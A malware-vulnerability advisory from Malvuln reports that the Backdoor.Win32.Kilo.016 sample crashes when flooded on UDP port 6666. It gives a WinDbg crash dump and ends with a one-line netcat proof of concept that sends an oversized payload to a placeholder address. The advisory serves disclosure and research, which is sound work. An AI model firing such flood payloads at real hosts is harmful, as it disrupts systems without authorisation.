Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/9ede6951ea527f96a785c5e32b5079e6.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Kilo.016 Vulnerability: Denial of Service (UDP Datagram) Description: The malware listens on TCP ports 6712, 6713, 6714, 6715, 7722, 15206, 15207, 16712 and UDP 6666. Attackers who can reach an infected host can send a large payload to UDP port 6666 causing a disruption in service. Family: Kilo Type: PE32 MD5: 9ede6951ea527f96a785c5e32b5079e6 Vuln ID: MVID-2022-0546 Disclosure: 04/14/2022 Memory Dump: (1ab8.1368): Access violation - code c0000005 (first/second chance not available) eax=000a1078 ebx=000a1048 ecx=0047b094 edx=000a1078 esi=000a11a0 edi=00000000 eip=776e9fab esp=000a0fc8 ebp=000a100c iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 ntdll!RtlAcquireSRWLockShared+0xb: 776e9fab 56 push esi 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: KERNELBASE!RaiseException+62 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: 0019f788 -- (.exr 0x19f788) ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: 0eedfade ExceptionFlags: 00000003 NumberParameters: 7 Parameter[0]: 00413c5f Parameter[1]: 06e39bb8 Parameter[2]: ffffffff Parameter[3]: 004104f0 Parameter[4]: 042e2d94 Parameter[5]: 0019fd0c Parameter[6]: 0019fcc8 PROCESS_NAME: Backdoor.Win32.Kilo.016.9ede6951ea527f96a785c5e32b5079e6 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 000a0fc4 WRITE_ADDRESS: 000a0fc4 FOLLOWUP_IP: KERNELBASE!RaiseException+0 74a10890 8bff mov edi,edi MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0019f7d8 -- (.cxr 0x19f7d8) eax=0019fc38 ebx=ffffffff ecx=00000007 edx=00000000 esi=004104f0 edi=042e2d94 eip=74a108f2 esp=0019fc38 ebp=0019fc94 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc8c=955c75b1 Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0046ea76 to 74a108f2 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff STACK_TEXT: 0019fc38 74a108f2 kernelbase!RaiseException+0x62 0019fd14 0046ea76 backdoor_win32_kilo_016+0x6ea76 0019fd6c 0046e995 backdoor_win32_kilo_016+0x6e995 0019fd88 7720e0bb user32!_InternalCallWinProc+0x2b 0019fdb4 77218849 user32!InternalCallWinProc+0x20 0019fdd8 7721b145 user32!UserCallWinProcCheckWow+0x1be 0019fea8 772090dc user32!DispatchMessageWorker+0x4ac 0019ff14 772038c0 user32!DispatchMessageA+0x10 0019ff1c 0044fc8c backdoor_win32_kilo_016+0x4fc8c 0019ff70 004d87b2 backdoor_win32_kilo_016+0xd87b2 0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: kernelbase!RaiseException+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: KERNELBASE IMAGE_NAME: KERNELBASE.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019F7D8 ; kb ; dds 19fc38 ; kb FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0 Exploit/PoC: python -c "print('A'*30000)" | nc64.exe x.x.x.x 6666 -c -u Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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